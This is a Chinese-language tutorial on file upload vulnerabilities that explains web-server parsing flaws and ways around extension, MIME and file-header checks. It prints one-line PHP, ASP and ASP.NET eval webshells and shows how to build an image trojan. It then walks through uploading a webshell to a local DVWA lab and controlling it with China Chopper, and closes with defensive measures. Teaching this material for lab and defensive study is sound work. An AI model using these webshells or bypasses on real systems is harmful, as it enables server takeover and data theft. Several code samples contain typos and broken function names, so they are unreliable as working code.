文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式。
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测,就是一个最常见最原始的小马。
大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。
1、上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;
2、上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器;
3、上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;
4、上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行;
上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞(Local File Include)执行该文件。如将bad.php文件改名为bad.doc上传到服务器,再通过PHP的include,include_once,require,require_once等函数包含执行。
此处造成恶意文件上传的原因主要有三种:
1、文件上传时检查不严
没有进行文件格式检查。
.php
改为.Php
即可绕过检查;%00
截断符,如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg
,其中%00
为十六进制的0x00
字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00
字符截断的关系,最终上传的文件变成了xxx.php
。2、文件上传后修改文件名时处理不当
一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc,成功上传后在修改文件名时将后缀改回.php。
3、使用第三方插件时引入
好多应用都引用了带有文件上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。
解析漏洞: 攻击者利用上传漏洞时,通常与web容器的解析漏洞配合在一起。常见的web容器有IIS、Nginx、Apache、Tomcat等。
IIS6.0在解析文件时存在以下两个解析漏洞:
当建立*.asa
,*.asp
格式的文件夹,其目录下的任意文件都将被IIS当作asp文件解析。例如,建立文件夹parsing.asp,在里面新建一个test.txt。其内容为 <%=NOW()%>
。其内容被IIS当作asp脚本来解析。
当文件为*.asp;1.jpg
时。同样会以asp脚本执行。原理:服务器默认不解析;
号后面的内容,因此xx.asp;.jpg
便被解析成asp文件了。
IIS6.0 默认的可执行文件除了asp还包含这三种 :
(1)漏洞原理
Apache 解析文件的规则:从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断,直到碰到认识的扩展名为止。如果都不认识,会暴漏源码。
比如test.php.qwe.asd
中 “.qwe
”和”.asd
” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd
解析成php。
(2)漏洞形式
www.xxxx.xxx.com/test.php.php123
再例如:www.xxser.com/1.php.rar
(文件内容为下列代码)
phpinfo();?>
上述的文件名为1.php.rar,本应弹出下载文件的提示,但却显示了phpinfo()的内容。这就是apache的解析漏洞。
(3)其余配置问题导致漏洞
AddHandler php5-script .php
test2.php.jpg
也会以 php 来执行。AddType application/x-httpd-php .jpg
Nginx是一款高性能的Web服务器,通常作为PHP的解析容器它,曾被爆出两个解析漏洞。
http://www.xxser.com/1.jpg/1.php
此时的1.jpg会被当作PHP脚本来解析。此时的1.php是不存在的,但1.jpg却按照php脚本解析了。问题就在这个"1.php"中(1.php不是特定的,可以随意命名),这就意味着攻击者可以上传图片木马,然后在url加上/xxx.php就可以获得网站的Webshell。
上传不符合windows文件命名规则的文件名:
test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA
会被windows系统自动去掉不符合规则符号后面的内容。
程序员在防止上传漏洞时可以分为两种:
客户端检测: 客户端使用JavaScript检测,在文件未上传时,就对文件进行验证。
服务器端检测: 服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至是否嵌入恶意代码等。
"中国菜刀":仅需要一段简短的代码便可以管理网站。目前支持的服务器端脚本包括: php、ASP、ASP.NET、JSP等,并且支持HTPTPS安全连接的网站。
PHP: <?php @eval($_POST['mima']);?>
ASP: <%eval request("mima")%>
ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["mima"],"unsafe");%>
"图片一句话"是将一句话插入在图片里面。例如: Edjpgcom这个软件只需要将图片拖入程序中,在填写一句话,就可以制作图片一句话木马。
很多程序员仅通过JavaScript拒绝非法上传,是十分低级的验证。例如下列代码对文件扩展名进行验证,如果不是白名单中的扩展名将不会提交到服务器。
<html>
<head>
<title>图片上传</title>
<script type="text/javascript">
function checkFile() {
var flag=false; //是否可以上传的标志位
var str=document.getElementById("file").value; //获取文件名
str=str.substring(str.lastIndexOf('.')+1); //得到扩展名
var arr=new Array('png','bmp','gif','jpg'); //允许上传的扩展名
for(var i=0;i<arr.length;i++) {
if(str==arr[i]) {
flag=true; //判断文件名是否合法
}
}
if(!flag) {
alert('文件不合法');
}
return flag;
}
</script>
</head>
<body>
<from action="upload.php" method="post" onsubmit="checkFile" enctype="multipart/form-data">
<input type="file" name="file" id="file" /><br/>
<input type="submit" value="提交" name="submit" />
</form>
</body>
</html>
upload.php用来接收文件,在接受文件后,将文件重命名放到本目录下。
<?php
if(isset($_POST["submit"])) {
$name= $_FILES['file']['name']; //接收文件名
$name=md5(data('Y-m-d h:m:s')).strrchr($name,"."); //文件名重命名操作,保留原有扩展名
$size=$_FILES['files']['size']; //接收文件大小
$tmp=$_FILES['file']['tmp_name']; //临时路径
move_upload_file($tmp,$name); //移动临时文件到当前文件目录
echo "文件上传成功 path:".$name;
}
?>
针对客户端验证有非常多的绕过方式:
(1) 更改前端JS代码
,其中的onsubmit="return checkFile()"
的作用就是当点击上传按钮的时候,就会触发js验证脚本,所以将这一部分删除,就可以成功绕过检测:(2) 中间人攻击
这种方式与FireBug完全不同,它是使用Burp按照正常的流程通过JavaScript验证,然后在传输中的HTTP层做手脚。首先把木马文件扩展名改为一张正常的图片的扩展名。在上传时使用Burp拦截数据,将其中的扩展名改为php,就可以绕过客户端验证。
这里需要注意: 在HTTP协议中有请求头Content-Length,代表实体正文长度,而修改filename意为着实体长度的改变。如: Content-Length
长度为200.把文件中的 filename=“xxser.jpg” 修改为 “1.php”,实体正文少了4个字符。所以需要把Content-Length改为196。
【小结】任何客户端验证都是不安全的。客户端验证时防止用户输入错误,减少服务器开销,而服务器端验证才可以真正防御攻击者。
随着开发人员安全意识的提高,用前端验证攻击行为越来越少,一般放在服务器端做验证。主要包含一下几点: 白名单、黑名单扩展名过滤,文件类型检测,文件重命名等操作。
(1) 黑名单验证
黑名单过滤方式:它是一种不安全的方式,黑名单定义了一系列不安全的扩展名。
<?php
$Blacklist=array('asp','php','jsp','php5','asa','aspx'); //黑名单
if(isset($_POST["submit"])) {
$name= $_FILES['file']['name']; //接收文件名
$extension=substr(strrchr($name,"."),1); //得到扩展名
$boo=false;
foreach($Blacklist as $key => $values) {
if($value==$extension) {
$boo=true;
break;
}
}
if(!boo) { //如果没有命中,则开始上传
$size=$_FILES['file']['size']; //接收文件大小
$tmp=$_FILES['file']['tmp_name']; //临时路径
move_upload_file($tmp,$name); //移动临时文件到当前文件目录
echo "文件上传成功
path:" .$name;
} else {
echo "文件不合法";
}
}
?>
通过上述代码可以看到,如果上传文件为 asp、php、jsp.php5、asa、aspx,将不再保存文件。但实际效果没有那么好,攻击者可以使用很多方法绕过黑名单检测:
asa
和 cer
之类;aSp
和 pHp
之类;.
“或者空格结尾,系统会自动去除”.
“与空格,利用这个可以绕过黑名单验证,如: 上传”asp.
" or "asp
"的扩展名程序;jsp—>jspx—>jspf
、asp—>asa—>cer—>aspx
、php—>php3—>php4
、exe—>exee
。(2)白名单过滤方式
白名单的过滤方式与黑名单相反,比黑名单拥有更好的防御机制。
<?php
$WhiteList=array('rar','jpg','png','bmp','gif','jpg','doc'); //白名单
if(isset($_POST["submit"])) {
$name= $_FILES['file']['name']; //接收文件名
$extension=substr(strrchr($name,"."),1); //得到扩展名
$boo=false;
foreach($$WhiteList as $key => $value) {
if($value==$extension) {
$boo=true;
}
}
if($boo) {
$size=$_FILES['file']['size']; //接收文件大小
$tmp=$_FILES['file']['tmp_name']; //临时文件大小
move_upload_file($tmp,$name); //移动临时文件到当前文件目录
echo "文件上传成功
path:".$name;
} else {
echo "文件不合法";
}
}
?>
白名单仅仅是防御上传漏洞的第一步。白名单并不能完全防御上传漏洞,就像前面说的IIS解析漏洞一样,可以顺利通过验证。
(3)MIME验证
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。如:gif图片MIME为 image/gif
,CSS文件MIME类型为text/css
。
MIME的作用是使客户端软件区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。 Web服务器使用MIME来说明发送数据的种类,Web客户端使用MIME来说明希望接收到的数据种类。
上传时,开发人员会对文件MIME类型做验证:
if($_FILES['file']['type']=="img/jpeg") { //判断是否时JPG格式
$imageTempName=$_FILES['file']['tmp_name'];
$imageName=$_FILES['file']['name'];
$last=substr($imageName,strrpos($imageName,"."));
if(!is_dir("uploadFile")) {
mkdir("uploadFile");
}
$imageName=md5($imageName).$last;
move_upload_file($imageTempName,"./uploadFile/".$imageName); //指定上传文件到uploadFile目录
echo("文件上传成功 path=/upload/$imageName");
} else {
echo("文件类型错误,请重新上传");
exit();
}
上传php文件时,并使用Burp拦截查看MIME类型,更改Content-Type即可通过验证。
(4)文件头校验
有的后台通过自己写正则匹配,判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
文件类型 | 文件头 |
---|---|
.JPEG .JPE .JPG | JPGGraphic File |
.gif | GIF 89A |
.zip | Zip Compressed |
.doc .xls .xlt .ppt .apr | MS Compound Document v1 or Lotus Approach APRfile |
文件头过滤主要是通过验证图片的文件头的方式来判断是不是图片文件。例如GIF图片的文件头就是GIF89a
。此时的绕过方法很简单:在木马内容基础上再加了一些文件信息,如此结构GIF89a
。
(5)目录验证
在文件上传时,程序允许用户将文件放到指定的目录中,而有些开发人员通常会做一个操作,如果目录存在,就将目录写入,不存在则先建立目录,再写入。
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" /><br/>
<input type="hidden" name="Extension" value="up" />
<input type="submit" value="提交" name="submit" />
</form>
PHP Code:
if($_FILES['file']['type']=="image/jpeg") {
$imageTempName=$_FILES['file']['tmp_name'];
$imageName=$_FILES['file']['name'];
$last=substr($imageName,strrpos($imageName,".")); //获取扩展名
if($last!=".jpg") {
exit("图片类型错误");
}
$Extension=$_POST['Extension']; //获取文件上传目录
if(!is_dir($Extension)) { //如果文件不存在,就建立
mkdir($Extension)
}
$imageName=md5($imageName).$last;
move_upload_file($imageTempName,"./$Extension/".$imageName);
echo("文件上传成功 path=/$Extension/$imageName");
} else("文件类型错误,请重新上传");
exit();
}
在Upload.php中有一下代码
if(!is_dir($Extension)) {
mkdir($Extension);
}
这段代码是引发漏洞的关键点,因为HTML中有一个隐藏标签这是文件上传默认的文件夹,而我们可以更改此参数: 使用FireBug将Value值改为pentest.asp,并提交上传一句话图片木马文件。程序在接受文件后,对目录判断,如果服务器不存在pentest.asp目录,如果Web容器为IIS 6.0,那么网页木马被解析。
(6)截断上传攻击
截断上传攻击在ASP程序中最常见,下列是一段简单的ASP代码:
<%
username=request("username")
Response.wrtie(username)
%>
这两句代码非常简单,接收username值,输出。
访问 url:http://www.xxser.com:801/test.asp?username=xxser%00admin
结果只输出"xxser",%00将后面的字符都截断了。
截断上传攻击原理:
绕过文件上传检查功能一般都是通过文件名后缀检查。但是在某些时候,攻击者手动修改了上传过程中的POST包,在文件名后添加一个%00字节额,则可以截断某些函数对文件名的判断。
因为在许多语言的函数中,比如在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。受此影响的环境有Web应用和一些服务器。比如应用原本只允许上传JPG图片,那么可以构造文件名为xxx.php[\0].JPG
,其中[\0]为十六进制的0x00字符,.JPG
绕过了应用的上传文件类型判断;但对于服务器来说,此文件因为0x00字符截断的关系,最终却变成了xxx.php。
1、检测条件:
(1)已知Web网站在登录前或者登录后具有上传页面。
(2)上传的文件具备可执行性或能够影响服务器行为,所以文件所在的目录必须在WEB容器覆盖的路径之内。
(3)用户可以从WEB上访问这个文件,从而使得WEB容器解释执行该文件。
(4)上传后的文件必须经过安全检查,不会被格式化、压缩等处理改变其内容。
2、总体的测试流程:
(1)登陆网站,并打开文件上传页面。
(2)点击“浏览”按钮,并选择本地的一个JSP文件(比如hacker.jsp),确认上传。
(3)如果客户端脚本限制了上传文件的类型(比如允许gif文件),则把hacker.jsp更名为hacker.gif;配置HTTP Proxy(burp)进行http请求拦截;重新点击“浏览”按钮,并选择hacker.gift,确认上传。
(4)在WebScarab拦截的HTTP请求数据中,将hacker.gif修改为hacker.jsp,再发送请求数据。
(5)登陆后台服务器,用命令find / -name hacker.jsp
查看hacker.jsp文件存放的路径。如果可以直接以Web方式访问,则构造访问的URL,并通过浏览器访问hacker.jsp,如果可以正常访问,则已经取得WebShell,测试结束。如果hacker.jsp无法通过web方式访问,例如hacker.jsp存放在/home/tmp/目录下,而/home/tomcat/webapps目录对应http://www.example.com/,则进行下一步。
(6)重复1~3,在burp拦截的HTTP请求数据中,将hacker.gif修改为../tomcat/webapps/hacker.jsp
,再发送请求数据。在浏览器地址栏输入http://www.example.com/hacker.jsp,访问该后门程序,取得WebShell,结束检测。
上传漏洞攻击形成的几个条件:
1、上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。
2、用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。
3、用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
所以上传漏洞最终的形成原因有以下两点:
1、目录过滤不严,攻击者可以建立畸形目录
2、文件未重命名,攻击者可能利用Web容器解析漏洞
如果把握这两点风险就会大大降低。
<?php
if(!isset($_POST['submit'])) {
exit();
}
$arr=Array('jpg','gif','jpeg','png','rar','zip','doc','docx'); //白名单
$imageTempName=$_FILES['file']['tmp_name']; //接收临时文件路径
$imageName=$_FILES['file']['name']; //接收文件名称
$last=strtolower(substr($imageName,strrpos($imageName,".")+1)); //取得扩展名,转换为小写
if(!in_array($last,$arr)) {
exit("不支持上传的扩展名.$last");
}
$Extension=$_POST['Extension']; //获得文件上传目录
$imageName=md5($imageName).".".$last; //对文件重命名
move_upload_file($imageTempName,"./$Extension/".$imageName);
echo("文件上传成功 path=/$Extension/$imageName");
?>
上述代码基本可以解决上传漏洞,但不能完全防御。比如Web容器为Apache,并不能识别RAR格式,那么就可以上传"正常文件",配合Apache解析漏洞入侵。
防范文件上传漏洞常见的几种方法
1、文件上传的目录设置为不可执行
最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的’x’权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性。
2、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。
文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器。简单点说,就是用户直接或者通过各种绕过方式将Webshell上传到服务器中进而执行利用。
本次实验我们将利用文件上传漏洞,上传一句话木马,然后使用中国菜刀工具,控制整个网站后台!
【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php
(用记事本编写后修改文件后缀即可):
@eval($_POST['pass']);?>
接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
查看后台源码:
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。
(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:
(2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。
(3)然后可以看连接成功的界面:
(4)接着双击或者右键“文件管理”,进入以下界面:
我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……
同样,先看看后台源码:
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
从源码中可以看出,该安全级别下的系统,上传文件时,对文件进行了后缀名验证,在if语句中判断上传文件的类型是否为“image/jpeg”
和大小是否小于100kb
。
但是验证的程序由本地的js来进行,所以破解思路为先将一句话木马改名为符合要求的格式,然后使用Burp Suite 进行抓包,修改上传的文件类型。
接下来咱们开始上传Hack.PNG
文件,并使用BurpSuite抓包并修改文件后缀:
可以发现,已经将非法文件Hack.php
成功上传!!!
然后使用菜刀连接并进行攻击,和之前的连接方法一样,不赘述了。
这个例子告诉我们:客户端的验证不能依靠!!!我们成功使用BurpSuite绕过了客户端前端的文件格式验证。所以为了预防文件上传漏洞,需要在服务器进行文件格式的验证。
继续先查看源码:
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”
、“.jpeg”
、“*.png”
之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型。
我们需要将上传文件的文件头伪装成图片,首先利用
copy
命令将一句话木马文件Hack.php
与正常的图片文件alone.jpg合并:
【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,
alone.jpg/b
中“b”表示“二进制文件”,Hack.php/a
中“a"表示ASCII码文件。
生成带有木马的图片文件hack.jpg
:
接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:
然后我们试着将生成的木马图片文件hack.jpg
上传,上传成功!!!
接下来,上菜刀!!!!!!!!!!!
继续查看源码先:
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.
';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码对上传文件 进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。